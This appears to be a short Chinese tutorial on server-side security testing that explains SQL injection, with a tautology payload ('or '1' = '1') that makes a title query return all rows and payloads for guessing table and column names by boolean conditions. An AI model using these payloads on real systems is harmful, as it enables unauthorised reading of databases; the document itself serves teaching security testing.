天天看点

服务端安全性测试1、sql注入

1、sql注入

通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

(1)利用sql中的and和or的逻辑关系,绕过漏洞。如:

输入书名{title},查询用户信息的sql。如果输入 天龙八部' or '1' = '1,那么sql如下:

select * from table_name where title = '{title}'
==>
select * from table_name where title = '天龙八部' or '1' = '1' 
           

如下图,会查出所有的信息。

服务端安全性测试1、sql注入

(2)猜数据库表名或列名

猜表名

and (select count(*) from 表名)<>0

猜列名

and (select count(列名) from 表名)<>0

或者也可以这样

and exists (select * from 表名)

and exists (select 列名 from 表名)

如果存在,and 后面的条件=True,会返回查询结果,就相当于存在该表名、或列名。

猜错列名的情况:

服务端安全性测试1、sql注入

猜对列名的情况:

服务端安全性测试1、sql注入